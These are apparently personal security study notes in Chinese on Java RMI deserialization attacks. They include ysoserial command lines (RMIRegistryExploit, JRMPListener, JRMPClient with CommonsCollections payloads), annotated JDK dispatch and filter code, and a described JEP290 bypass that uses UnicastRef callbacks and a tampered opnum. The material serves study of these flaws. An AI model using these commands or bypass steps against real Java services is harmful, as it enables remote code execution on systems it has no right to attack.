RMI - 安全篇
RMI分為三個主體部分:
*Client-客戶端*:客戶端調用服務端的方法
*Server-服務端*:遠程調用方法對象的提供者,也是代碼真正執行的地方,執行結束會返回給客戶端一個方法執行的結果。
*Registry-注冊中心*:其實本質就是一個map,相當于是字典一樣,用于客戶端查詢要調用的方法的引用。
總體RMI的調用實現目的就是調用遠程機器的類跟調用一個寫在自己的本地的類一樣。
唯一區別就是RMI服務端提供的方法,被調用的時候該方法是執行在服務端。
*宏觀上看,RMI遠程調用步驟*:
1)客戶對象調用客戶端輔助對象上的方法;
2)客戶端輔助對象打包調用信息(變量,方法名),通過網絡發送給服務端輔助對象;
3)服務端輔助對象將客戶端輔助對象發送來的信息解包,找出真正被調用的方法以及該方法所在對象;
4)調用真正服務對象上的真正方法,并將結果返回給服務端輔助對象;
5)服務端輔助對象將結果打包,發送給客戶端輔助對象;
6)客戶端輔助對象將返回值解包,返回給客戶對象;
7)客戶對象獲得返回值;
詳細來看,對于Client來說,他甚至可以不知道有Server的存在,所有他需要的只是一個stub,對于Client來說,調用遠程方法就是調用Stub的方法,
從我們一個局外人的角度上看,數據是在Client和Server之間是橫向流動的,但是微觀上看整個流程必有網絡層面的大量的縱向流動,一個請求先從Client發出,交給Stub,走過Transport Layer之后交由Skeleton,最后到Server,Server調用相應方法,然后將結果原路返回,流程如下:
1.Server監聽一個端口,此端口由JVM隨機選擇(這一點在ysoserial中可見);
2.Client對于Server上的遠程對象的位置信息(通信地址和端口)一無所知,只知道****向stub發起請求****,而stub中包含了這些信息,并封裝了底層網絡操作;
3.Client調用Stub上對應的方法;
4.Stub連接到Server監聽的通信端口并提交方法的參數;
5.Server上執行具體的方法,并****將結果原路返回給Stub****;
對于Client來說,遠程調用的執行結果是Stub給它的,從Client看來就好像是Stub在本地執行了這個方法一樣。
*RMI服務端與客戶端實現*
*服務端*
E:\beifen\java\rmi-jndi-ldap-jrmp-jmx-jms-master\java-rmi-server\src\main\java\com\longofo\javarmi\RMIServer.java
package com.longofo.javarmi;import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;public class RMIServer {/*** Java RMI 服務端** @param args*/public static void main(String[] args) {try {// 實例化服務端遠程對象ServicesImpl obj = new ServicesImpl();// 沒有繼承UnicastRemoteObject時需要使用靜態方法exportObject處理Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);Registry reg;try {// 創建Registryreg = LocateRegistry.createRegistry(9998);System.out.println("Java RMI registry created. port on 9998...");} catch (Exception e) {System.out.println("Using existing registry");reg = LocateRegistry.getRegistry();}// 綁定遠程對象到Registryreg.bind("Services", services);} catch (RemoteException e) {e.printStackTrace();} catch (AlreadyBoundException e) {e.printStackTrace();}}
}
關于綁定的地址很多博客會rmi://ip:port/Objectname的形式
實際上看rebind源碼就知道rmi:寫不寫都行。
port如果默認是1099,不寫會自動補上,其他端口就必須寫
這里就會想一個問題:注冊中心跟服務端可以分離么?
個人感覺在分布式環境下是可以分離的,但是網上看到的代碼都沒見到分離的,以及****官方文檔****是這么說的:
出于安全原因,應用程序只能綁定或取消綁定到在同一主機上運行的注冊中心。這樣可以防止客戶端刪除或覆蓋服務器的遠程注冊表中的條目。但是,查找操作是任意主機都可以進行的。
那么就是****一般來說注冊中心跟服務端是不能分離的****。
*客戶端*
E:\beifen\java\rmi-jndi-ldap-jrmp-jmx-jms-master\java-rmi-client\src\main\java\com\longofo\javarmi\RMIClient.java
package com.longofo.javarmi;import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RMIClient {/*** Java RMI惡意利用demo** @param args* @throws Exception*/public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9998);// 獲取遠程對象的引用Services services = (Services) registry.lookup("Services");
// PublicKnown malicious = new PublicKnown();
// malicious.setParam("calc");
// malicious.setMessage("haha");// 使用遠程對象的引用調用對應的方法
// System.out.println(services.sendMessage(malicious));System.out.println(services.hello());}
}
需要使用遠程接口(此處是直接引用服務端的類,客戶端不知道這個類的源代碼也是可以的,重點是包名,類名必須一致,serialVersionUID一致)
Naming.lookup查找遠程對象,rmi:可省略
*傳輸過程*
客戶端序列化傳輸調用函數的輸入參數至服務端,服務端返回序列化的執行結果至客戶端。
對應的代碼是這一句
String ret = hello.hello(“input!gogogogo”);
RMI服務端與客戶端readObject其實位置是同一個地方,只是調用棧不同。
*服務端開啟調試*:
*客戶端開啟調試*:
服務端的rt.jar.sun.rmi.server.UnicastServerRef#dispatch
// 通過客戶端提供的var4去驗證客戶端想要調用的方法,在這里有沒有
? // ***\*this.hashToMethod_Map\*******\*就是在服務端實現的RMI服務對象的方法\****
? Method var8 = (Method)this.hashToMethod_Map.get(var4);
? // 如果沒有,var8就為null,報錯“想調用的方法在這里不存在”
? if (var8 == null) {
? throw new UnmarshalException("unrecognized method hash: method not supported by remote object");
*this.hashToMethod_Map**就是在服務端實現的RMI服務對象的方法*
這里切了jdk為8u66
要想全局搜索生效,還需清下緩存。
–RMI服務端反序列化攻擊RMI注冊端
*注冊中心代碼*
創建一個繼承java.rmi.Remote的接口
public interface HelloInterface extends java.rmi.Remote {public String sayHello(String from) throws java.rmi.RemoteException;
}
創建注冊中心代碼
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;public class Registry {public static void main(String[] args) {
? try {
? LocateRegistry.createRegistry(1099);
? } catch (RemoteException e) {
? e.printStackTrace();
? }
? while (true) ;}
}
利用ysoserial.exploit.RMIRegistryExploit即可(在bind(name,payload)
這里插入payload)
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 192.168.189.136 1099 CommonsCollections1 “calc”
觸發反序列化操作位置
sun.rmi.registry.*RegistryImpl_Skel#dispatch*(我們可以叫做RMI注冊任務分發處,就是注冊端處理請求的地方)其實是從sun.rmi.server.*UnicastServerRef#dispatch*(RMI請求分發處)那邊過來的。
sun.rmi.registry.RegistryImpl_Skel#dispatch:
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
? //一處接口hash驗證
? if (var4 != 4905912898345647071L) {
? throw new SkeletonMismatchException("interface hash mismatch");
? } else {
? //設定變量開始處理請求
? //var6為RegistryImpl對象,調用的就是這個對象的bind、list等方法
? RegistryImpl var6 = (RegistryImpl)var1;
? //接受客戶端輸入流的參數變量
? String var7;
? Remote var8;
? ObjectInput var10;
? ObjectInput var11;
? //var3表示對應的方法值0-4,這個數字是跟RMI客戶端約定好的
? //比如RMI客戶端發送bind請求:就是sun.rmi.registry.RegistryImpl_Stub#bind中的這一句
? //super.ref.newCall(this, operations, 0, 4905912898345647071L);
? switch(var3) {
? //統一刪除了try等語句
? case 0:
? //bind(String,Remote)分支
? var11 = var2.getInputStream();
? //1.反序列化觸發處
? var7 = (String)var11.readObject();
? var8 = (Remote)var11.readObject();
? var6.bind(var7, var8);
? case 1:
? //list()分支
? var2.releaseInputStream();
? String[] var97 = var6.list();
? ObjectOutput var98 = var2.getResultStream(true);
? var98.writeObject(var97);? case 2:
? //lookup(String)分支
? var10 = var2.getInputStream();
? //2.反序列化觸發處
? var7 = (String)var10.readObject();
? var8 = var6.lookup(var7);? case 3:
? //rebind(String,Remote)分支
? var11 = var2.getInputStream();
? //3.反序列化觸發處
? var7 = (String)var11.readObject();
? var8 = (Remote)var11.readObject();
? var6.rebind(var7, var8);? case 4:
? //unbind(String)分支
? var10 = var2.getInputStream();
? //4.反序列化觸發處
? var7 = (String)var10.readObject();
? var6.unbind(var7);
? default:
? throw new UnmarshalException("invalid method number");
? }? }
}
可以得到4個反序列化觸發處:lookup、unbind、rebind、bind。
4個接口有兩類參數,String和Remote類型的Object。
RMI注冊端沒有任何校驗,payload放在Remote參數位置可以攻擊成功,放在String參數位置也可以攻擊成功。
–RMI注冊端反序列化攻擊RMI客戶端
利用ysoserial.exploit.JRMPListener即可(在高版本jdk下ysoserial的JRMPListener依然可以利用)
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 “calc”
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 “calc.exe” (高版本下實測可用)
客戶端代碼位置
sun.rmi.registry.RegistryImpl_Stub#lookup
90行調用newCall方法創建socket連接,94行序列化lookup參數,104行反序列化返回值,而此時Registry的返回值是CommonsCollections1的調用鏈,所以這里直接反序列化就會觸發。
–RMI客戶端反序列化攻擊RMI注冊端
利用ysoserial.exploit.JRMPClient即可
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 192.168.189.136 1099 CommonsCollections1 “calc”
RMI框架采用DGC(Distributed Garbage Collection)分布式垃圾收集機制來管理遠程對象的生命周期,可以通過與DGC通信的方式發送惡意payload讓注冊中心反序列化。
sun.rmi.transport.DGCImpl_Skel#dispatch(跟上邊的服務端攻擊注冊端
(sun.rmi.registry.RegistryImpl_Skel#dispatch)不一樣,但極其類似)
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {//一樣是一個dispatch用于分發作用的方法//固定接口hash校驗if (var4 != -669196253586618813L) {
? throw new SkeletonMismatchException("interface hash mismatch");} else {
? DGCImpl var6 = (DGCImpl)var1;
? ObjID[] var7;
? long var8;
? //判斷dirty和clean分支流
? switch(var3) {
? //***\*clean分支流\****
? case 0:
? VMID var39;
? boolean var40;
? try {
? //從客戶端提供的輸入流取值
? ObjectInput var14 = var2.getInputStream();
? //對于取值進行反序列化,***漏洞觸發點***
? var7 = (ObjID[])var14.readObject();
? var8 = var14.readLong();
? var39 = (VMID)var14.readObject();
? var40 = var14.readBoolean();
? } catch (IOException var36) {
? throw new UnmarshalException("error unmarshalling arguments", var36);
? } catch (ClassNotFoundException var37) {
? throw new UnmarshalException("error unmarshalling arguments", var37);
? } finally {
? var2.releaseInputStream();
? }
? //進行clean操作,已經完成了攻擊,之后操作已經不重要了。
? var6.clean(var7, var8, var39, var40);? //..省略部分無關操作
? //***\*dirty方法分支流\****,跟clean在漏洞觸發點上是一樣的
? case 1:
? Lease var10;
? try {
? //從客戶端提供的輸入流取值
? ObjectInput var13 = var2.getInputStream();
? //對于取值進行反序列化,***漏洞觸發點***
? var7 = (ObjID[])var13.readObject();
? var8 = var13.readLong();
? var10 = (Lease)var13.readObject();
? } catch (IOException var32) {
? throw new UnmarshalException("error unmarshalling arguments", var32);
? } catch (ClassNotFoundException var33) {
? throw new UnmarshalException("error unmarshalling arguments", var33);
? } finally {
? var2.releaseInputStream();
? }? Lease var11 = var6.dirty(var7, var8, var10);? //..省略無關操作
? default:
? throw new UnmarshalException("invalid method number");
? }}
這個DGC是用于維護服務端中被客戶端使用的遠程引用才存在的。其中包括兩個方法dirty和clean,簡單來說:
客戶端想要使用服務端上的遠程引用,使用dirty方法來注冊一個。同時這還跟租房子一樣,過段時間繼續用的話還要再調用一次來續租。
客戶端不使用的時候,需要調用clean方法來清除這個遠程引用。
由于我們的RMI服務就是基于遠程引用的,其底層的遠程引用維護就是使用DGC,起一個RMI服務必有DGC層。于是我們就打這個DGC服務。
相對于RMIRegistryExploit模塊,這個JRMPClient模塊攻擊范圍更廣,因為RMI服務端或者RMI注冊端都會開啟DGC服務端。
DGCImpl_Skel是服務端代碼,DGCImpl_Stub是客戶端代碼;但是這兩個class無法下斷點調試(可能是動態生成)。所以在其內部調用的其他方法下斷點來調試。
DGC客戶端處:
DGC服務端處:
之前RMIRegistryExploit是bind(name,payload)這里插入payload,然后傳輸到服務端。
*DGC客戶端**插入payload的位置*
sun.rmi.transport.DGCImpl_Stub#dirty(clean其實也一樣)
public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
? try {
? //開啟了一個連接,似曾相識的 669196253586618813L 在服務端也有
? RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);? try {
? //獲取連接的輸入流
? ObjectOutput var6 = var5.getOutputStream();
? //寫入一個對象,在實現的本意中,這里是一個ID的對象列表ObjID[]
? //***這里就是我們payload寫入的地方***
? var6.writeObject(var1);
? //------
? var6.writeLong(var2);
? var6.writeObject(var4);
? } catch (IOException var20) {
? throw new MarshalException("error marshalling arguments", var20);
? }? super.ref.invoke(var5);? Lease var24;
? try {
? ObjectInput var9 = var5.getInputStream();
? var24 = (Lease)var9.readObject();
? //省略大量錯誤處理..
}
針對這種很底層的payload的poc構建通常使用自實現一個客戶端去拼接序列化數據包。
ysoserial的JRMP-Client exploit模塊就是這么實現的,其核心在于makeDGCCall方法:
// 傳入目標RMI注冊端(也是DGC服務端)的IP端口,以及攻擊載荷的payload對象。
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {InetSocketAddress isa = new InetSocketAddress(hostname, port);Socket s = null;DataOutputStream dos = null;try {
? // 建立一個socket通道,并為賦值
? s = SocketFactory.getDefault().createSocket(hostname, port);
? s.setKeepAlive(true);
? s.setTcpNoDelay(true);? // 讀取socket通道的數據流
? OutputStream os = s.getOutputStream();
? dos = new DataOutputStream(os);? // *******開始拼接數據流*********
? // 以下均為特定協議格式常量
? // 傳輸魔術字符:0x4a524d49(代表協議)
? dos.writeInt(TransportConstants.Magic);
? // 傳輸協議版本號:2(就是版本號)
? dos.writeShort(TransportConstants.Version);
? // 傳輸協議類型: 0x4c (協議的種類,好像是單向傳輸數據,不需要TCP的ACK確認)
? dos.writeByte(TransportConstants.SingleOpProtocol);
? // 傳輸指令-RMI call:0x50
? dos.write(TransportConstants.Call);? @SuppressWarnings ( "resource" )
? final ObjectOutputStream objOut = new MarshalOutputStream(dos);
? // DGC的固定讀取格式
? objOut.writeLong(2); // DGC
? objOut.writeInt(0);
? objOut.writeLong(0);
? objOut.writeShort(0);
? // 選取DGC服務端的分支選dirty
? objOut.writeInt(1); // dirty
? // 固定的hash值
? objOut.writeLong(-669196253586618813L);
? // 我們的payload寫入的地方
? objOut.writeObject(payloadObject);? os.flush();}
*payload觸發點**(DGC服務端)*
sun.rmi.transport.DGCImpl_Skel#dispatch
*DGC讀取格式是固定的*
在sun.rmi.transport.Transport#serviceCall讀取了參數之后進行了校驗
try {id = ObjID.read(call.getInputStream());} catch (java.io.IOException e) {throw new MarshalException("unable to read objID", e);}/* get the remote object */
//該dgcID是一個常量,此處進行了驗證
Transport transport = id.equals(dgcID) ? null : this;
//根據讀取出來的id里面的[0,0,0](三個都是我們序列化寫入的值)分別是:
//1.服務端uid給客戶端的遠程對象唯一標識編號
//2.遠程對象有效時長用的時間戳
//3.用于同一時間申請的統一遠程對象的另一個用于區分的隨機數
//服務端去查詢這三個值的hash,判斷當前DGC客戶端有沒有服務端的遠程對象
//就是dirty,clean那一套東西
Target target =
ObjectTable.getTarget(new ObjectEndpoint(id, transport));if (target == null || (impl = target.getImpl()) == null) {
throw new NoSuchObjectException("no such object in table");
}
–JEP290修復
在JEP290規范之后,即JAVA版本****6u141, 7u131, 8u121****之后,以上攻擊就不奏效了(RMI客戶端利用傳遞參數反序列化攻擊RMI服務端不受限制)。
JEP290修復之前,即Java版本6u141、7u131、8u121之前,直接用yso中的兩個exploit
ysoserial.exploit.JRMPClient
和
ysoserial.exploit.RMIRegistryExploit
JEP290修復之后,即Java版本6u141、7u131、8u121之后,針對于yso中的兩個exploit
ysoserial.exploit.JRMPClient
和
ysoserial.exploit.RMIRegistryExploit
jdk分別做了相關白名單
針對于ysoserial.exploit.JRMPClient
調用棧:
checkInput:409, DGCImpl (sun.rmi.transport)
access 300 : 72 , D G C I m p l ( s u n . r m i . t r a n s p o r t ) l a m b d a 300:72, DGCImpl (sun.rmi.transport) lambda 300:72,DGCImpl(sun.rmi.transport)lambdarun$0:343, DGCImpl$2 (sun.rmi.transport)
checkInput:-1, 1076496284 (sun.rmi.transport.DGCImpl 2 2 2$Lambda$2)
filterCheck:1313, ObjectInputStream (java.io)
readNonProxyDesc:1994, ObjectInputStream (java.io)
readClassDesc:1848, ObjectInputStream (java.io)
readObject:459, ObjectInputStream (java.io)
dispatch:90, DGCImpl_Skel (sun.rmi.transport)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
在sun.rmi.transport.DGCImpl#checkInput()添加白名單
可以看到這里的白名單包括Primitive、ObjID、UID、VMID、Lease等,ysoserial傳遞的payload對象類型并不在白名單范圍中,因此會返回Status.REJECTED導致利用失敗。經過后續的查找發現這種利用姿勢因為在高版本jdk的嚴格白名單過濾場景下基本已經沒有利用可能了。
針對于ysoserial.exploit.RMIRegistryExploit
調用棧:
registryFilter:427, RegistryImpl (sun.rmi.registry)
checkInput:-1, 523691575 (sun.rmi.registry.RegistryImpl$$Lambda$4)
filterCheck:1313, ObjectInputStream (java.io)
readProxyDesc:1932, ObjectInputStream (java.io)
readClassDesc:1845, ObjectInputStream (java.io)
readOrdinaryObject:2158, ObjectInputStream (java.io)
readObject0:1665, ObjectInputStream (java.io)
readObject:501, ObjectInputStream (java.io)
readObject:459, ObjectInputStream (java.io)
dispatch:91, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
在sun.rmi.registry.RegistryImpl#registryFilter()添加白名單
·前邊的sun.rmi.transport.DGCImpl#checkInput()是針對分布式垃圾收集器的
·當前的sun.rmi.registry.RegistryImpl#registryFilter()是針對RMI注冊機制的
這兩個的過濾白名單是不一樣的,也就為后續的繞過埋下了基礎。
可以看到相關的白名單有Number、Remote、Proxy、UnicastRef、RMIClientSocketFactory、RMIServerSocketFactory、ActivationID、UID這幾個類,而后續的繞過就是其中的UnicastRef。
sun.rmi.transport.DGCImpl#checkInput過濾器:private static Status checkInput(FilterInfo var0) {
? //與sun.rmi.registry.RegistryImpl#registryFilter處過濾器完全一致
? if (dgcFilter != null) {
? Status var1 = dgcFilter.checkInput(var0);
? if (var1 != Status.UNDECIDED) {
? return var1;
? }
? }? if (var0.depth() > (long)DGC_MAX_DEPTH) {
? return Status.REJECTED;
? } else {
? Class var2 = var0.serialClass();
? if (var2 == null) {
? return Status.UNDECIDED;
? } else {
? while(var2.isArray()) {
? if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)DGC_MAX_ARRAY_SIZE) {
? return Status.REJECTED;
? }? var2 = var2.getComponentType();
? }? if (var2.isPrimitive()) {
? return Status.ALLOWED;
? } else {
? //4種白名單限制
? return var2 != ObjID.class &&
? var2 != UID.class &&
? var2 != VMID.class &&
? var2 != Lease.class ? Status.REJECTED : Status.ALLOWED;
? }
? }
? }}sun.rmi.registry.RegistryImpl#registryFilterprivate static Status registryFilter(FilterInfo var0) {
? if (registryFilter != null) {
? Status var1 = registryFilter.checkInput(var0);
? if (var1 != Status.UNDECIDED) {
? return var1;
? }
? }? if (var0.depth() > 20L) {
? return Status.REJECTED;
? } else {
? Class var2 = var0.serialClass();
? if (var2 != null) {
? if (!var2.isArray()) {
? return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
? } else {
? return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
? }
? } else {
? return Status.UNDECIDED;
? }
? }
}
白名單列表:
String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class
*調用棧*
registryFilter:427, RegistryImpl (sun.rmi.registry)
checkInput:-1, 2059904228 (sun.rmi.registry.RegistryImpl$Lambda$2)
filterCheck:1239, ObjectInputStream (java.io)
readProxyDesc:1813, ObjectInputStream (java.io)
readClassDesc:1748, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 714624149 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
–利用JRMP反序列化繞過JEP290
JEP290默認只為RMI注冊表(RMI Register層)和RMI分布式垃圾收集器(DGC層)提供了相應的內置過濾器,但是最底層的JRMP是沒有做過濾器的。
*JRMP*
Java遠程消息交換協議(Java Remote MessagingProtocol),是特定于 Java 技術的、用于查找和引用遠程對象的協議。這是運行在 Java 遠程方法調用 RMI 之下、TCP/IP 之上的線路層協議。作為一個Java特有的、適用于Java之間遠程調用的基于流的協議,要求客戶端和服務器上都使用Java對象。
*JRMP服務端打JRMP客戶端*
JRMP是DGC和RMI的底層通訊層,DGC和RMI的最終調用都回到JRMP這一層來(大概是這樣)。
利用ysoserial.exploit.JRMPListener即可
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 “calc”
客戶端:
public class Client {public static void main(String[] args) throws Exception{
? String url = "rmi://127.0.0.1:1099/User";
? Object a = Naming.lookup(url);
? User userClient = (User)Naming.lookup(url);
—UnicastRef對象
只能利用ysoserial.exploit.RMIRegistryExploit,ysoserial.exploit.JRMPClient由于白名單限制已不可用。
可參考:
記一次高版本下遠程RMI反序列化利用分析 (qq.com)
具體的思路大概是傳遞一個在白名單中的UnicastRef對象,其中包含序列化的一個RMI主動鏈接請求,經過上面的registryFilter之后來到反序列化環節解析后會主動發起一個RMI連接從而繞過JEP290。因此這里的利用得用到2個模塊:
- 生成UnicastRef對象并發送
- 起一個JRMPListener來監聽端口,等待反序列化后的主動回連
利用JRMP(UnicastRef)
CC6的調用棧:
readObject:297, HashSet (java.util)
readObject:371, ObjectInputStream (java.io)
executeCall:245, StreamRemoteCall (sun.rmi.transport)
invoke:379, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:156, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:493, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)
關鍵點:
sun.rmi.registry.RegistryImpl_Skel#dispatch()中的readObject()只是還原惡意UnicastRef對象,而releaseInputStream()才是真正調用此惡意UnicastRef對象發出JRMP請求的
releaseInputStream()調用惡意UnicastRef對象發出JRMP請求
調用棧:
newCall:336, UnicastRef (sun.rmi.server)
dirty:100, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)
dispatch:113, RegistryImpl_Skel (sun.rmi.registry)
bind() + UnicastRef
lookup() + UnicastRef
CheckAccess策略
以jdk8為例,8u141之后,在sun.rmi.registry.RegistryImpl_Skel#dispatch()中,在readObject()之前會有checkAccess()來檢查地址
有checkAccess()以后不能再遠程bind,即使可以繞過白名單依然會報錯。
注冊中心時反序列化的點在RegistryImpl_Skel#dispatch(),其中的var3代表客戶端發起連接的方法,其中對應的關系為:
·0 -> bind()
·1 -> list()
·2 -> lookup()
·3 -> rebind()
·4 -> unbind()
改造bind()進行繞過
先來看看sun.rmi.registry.RegistryImpl_Skel#dispatch()
關鍵代碼如下:
這里繞過的關鍵點首先是參數var3,通過一個switch判斷進到不同的case語句中,可以看到在case0/3/4的一開始就會調用checkAccess()檢查bind的來源,因此要控制var3的值讓它等于case1或case2從而繞過checkAccess()。而var3的值是在調用棧上層的sun.rmi.server.UnicastServerRef#dispatch()中從序列化的數據中用readInt()讀出來的,也就是說這個值是可以控制的,這個值在代碼注釋中的解釋是opnum,也就是操作數,根據傳入對象的不同來選擇不同的處理邏輯。
var3的可控輸入點在原始bind(),代碼如下:
可以看到try之后的第一個語句中的newCall方法,其中第三個參數即是opnum,在原始bind方法中opnum為0,需要將opnum的值設置為1或2。
那么到底是1還是2呢?
其實,調試原本的case0的邏輯可知,readObeject()并不是真正的觸發點,只是從輸入中反序列化出我們構造的UnicastRef對象,然后進到finally的releaseInputStream()。
因此要進入的case得同時包含readObeject()和releaseInputStream()這兩個方法,而符合這個條件的只有case2。
但其實,case2就是對lookup()的處理邏輯,所以只有1個readObeject(),原本的case0是有2個readObeject()的,所以還需要修改writeObeject()的順序
C:\Users\z\Desktop\tools\yso\ysoserial\src\main\java\ysoserial\exploit\RMIRegistryExploit1_JEP290.java
理解了bind()的改造,lookup()的改造就很簡單了,其實就是替換參數類型
在本地重寫一個lookup,替換原來的String參數為Obejct